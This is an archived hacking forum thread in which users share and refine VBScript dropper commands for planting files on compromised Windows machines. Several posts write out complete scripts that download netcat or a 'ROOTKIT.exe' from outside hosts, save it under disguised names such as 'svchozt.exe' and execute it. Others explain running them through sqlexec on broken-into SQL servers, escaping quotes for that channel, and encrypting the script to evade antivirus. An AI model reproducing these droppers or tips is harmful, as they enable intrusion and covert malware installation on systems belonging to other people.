hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

barty32
hi,
i need your little help.
i heard something about upload by using vbs script.

so i found this nice stuff

CODE

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://alkausar.com/netcat.exe",0 >>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "svchozt.exe",2 >>webdown.vbs



i tried this vbs script, but it didnt work.
has anybody an idea whats wrong.
da_cash
try this way...



CODE
echo Dim HTTPGET >>c:\madefile.vbs
echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>c:\madefile.vbs
echo HTTPGET.Open "GET", "http://www.yoursite.com/nc.exe", false >>c:\madefile.vbs
echo HTTPGET.Send >>c:\madefile.vbs
echo DataBin = HTTPGET.ResponseBody >>c:\madefile.vbs
echo Const adTypeBinary=1 >>c:\madefile.vbs
echo Const adSaveCreateOverWrite=2 >>c:\madefile.vbs
echo Dim SendBinary >>c:\madefile.vbs
echo Set SendBinary = CreateObject("ADODB.Stream") >>c:\madefile.vbs
echo SendBinary.Type = adTypeBinary >>c:\madefile.vbs
echo SendBinary.Open >>c:\madefile.vbs
echo SendBinary.Write DataBin >>c:\madefile.vbs
echo SendBinary.SaveToFile "c:\nc.exe", adSaveCreateOverWrite >>c:\madefile.vbs


I've tried it several times and it worked for me...
DumpZ
search this board there is a very big topic with 3 methods how to transfer using vbs. I've got it but not gonna post something which isn't mine
n0vun
I believe the 'ADODB.Stream' thing was kill by Microsoft in their lastest winblows update.
daguilar01
i just updated my winxp, installed the adodb.stream thign, restarted, adn tried a vbs download script that used the adodb.stream and it worked fine, downloaded the file like normal
EXPLOiTED
dont work when echoed in a shell
mamep
working fine with me also wink.gif
check your clopy paste wink.gif
kenshin_efx
QUOTE (EXPLOiTED @ Jul 6 2004, 03:28 AM)
dont work when echoed in a shell

humm and sqlexec not?

a stupid question, how run this...only write file.vbs ??
Partizaan
ECHO Set xPost = CreateObject("Microsoft.XMLHTTP") >backup.vbs
ECHO xPost.Open "GET","http://81.X.X.X/ROOTKIT.exe",0 >>backup.vbs
ECHO xPost.Send() >>backup.vbs
ECHO Set sGet = CreateObject("ADODB.Stream") >>backup.vbs
ECHO sGet.Mode = 3 >>backup.vbs
ECHO sGet.Type = 1 >>backup.vbs
ECHO sGet.Open() >>backup.vbs
ECHO sGet.Write(xPost.responseBody) >>backup.vbs
ECHO sGet.SaveToFile "ROOTKIT.exe",2 >>backup.vbs
ECHO Dim Partizaan >>backup.vbs
ECHO Set Partizaan = CreateObject("WScript.Shell") >>backup.vbs
ECHO Partizaan.Run "ROOTKIT.exe" >>backup.vbs
cscript backup.vbs

I have been toying with it to.
This one works te best.
som3aa
works great for me too
SkullSplitter
this is the Dropper-Script

it is detected by the most AVīs

if you wanna use it, write your own converter, to crypt the script

then it worx perfect
niko.noname
I can't execute it remotely via sqlexec when using "-signs.
If I use instead the '-sign it returns me a compilation-error.

Escaping with \ doesn't work too, anybody an idea???

Thank you all!
BBQ CD
even if you re able to get the code on that box via sqlexec, it won't help help you uploading your files ... Microsoft patched this hole with a security update weeks ago!

Hard to find any machine with this patch missing!
R0x0r
Nice gonna check it out.. damn anoing when ftp are missing smile.gif
Lanig
QUOTE (niko.noname @ Aug 3 2004, 01:03 PM)
I can't execute it remotely via sqlexec when using "-signs.
If I use instead the '-sign it returns me a compilation-error.

Escaping with \ doesn't work too, anybody an idea???

Thank you all!

everytime u should enter a quote enter a double one ("")
for example:
ECHO Set xPost = CreateObject(""Microsoft.XMLHTTP"") > temp.vbs
that will make the script work in SQLExec
mortello
QUOTE (Lanig @ Aug 4 2004, 05:04 PM)
QUOTE (niko.noname @ Aug 3 2004, 01:03 PM)
I can't execute it remotely via sqlexec when using "-signs.
If I use instead the '-sign it returns me a compilation-error.

Escaping with \ doesn't work too, anybody an idea???

Thank you all!

everytime u should enter a quote enter a double one ("")
for example:
ECHO Set xPost = CreateObject(""Microsoft.XMLHTTP"") > temp.vbs
that will make the script work in SQLExec

wow, thanks for the tip....didn't know you couldn't use simple quotes in SQLExec
niko.noname
Thank you very much for the double-quote tip, i'll check it out!
SupaSlick
thanx gonna try this out for myself
nuke_storm
sorry to hack this thread but as i am a new member, i cant start a topic,
i am not one of the elite hackers but still i keep tweaking with the net and there is something i want to share.

i have a free web space at tripod.co.uk, but they allow only 5 files at a time to upload, this was very hectic as i wanted to upload a free blog script to my domain.

then i found this free zip utilities for php PCL ZIP

i uploaded two files pclzip.lib.php and unzip.php. code for unzip.php is below
<?php
$filename = $_GET['filename'];
require_once("pclzip.lib.php");
$archive = new PclZip($filename);
if ($archive->extract() == 0) {
die("Error : ".$archive->errorInfo(true));
}
?>

so now u only have to upload one zip file, and then call unzip.php with a url like

http://domain/unzip.php?filename=<yourzippedfilename>

i know i am a newbie for this kinda stuff, ignore this if u don't find it useful.

regards
nuke
illwill
heres a paper i started thats not finished
it gives a few examples on how to transfer files from a shell prompt
DerangeD
you missed one in that tut

dont see rcp transfer anywhere also handy when ftp or tftp are renamed or deleted

nice txt though ! wink.gif
LiquidH2O
Thank you very much for lots of informations in this topic!
VBS Works perfect!

Regards
LiquidH20
8b@ll
Hmmm...i dont really know, where i have to inside my ftp-server with my servudaemon.exe + ini...

ECHO xPost.Open "GET","http://81.X.X.X/ROOTKIT.exe",0 >>backup.vbs

there is a "Get" "HTTP"

can i change it in FTP?

thx

8b@ll
illwill
QUOTE(DerangeD @ Sep 10 2004, 03:13 AM)
you missed one in that tut

dont see rcp transfer anywhere also handy when ftp or tftp are renamed or deleted

nice txt though ! wink.gif
*




well oyu can always submit a short tutorial on rcp transfer and ill add it to the textfile
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.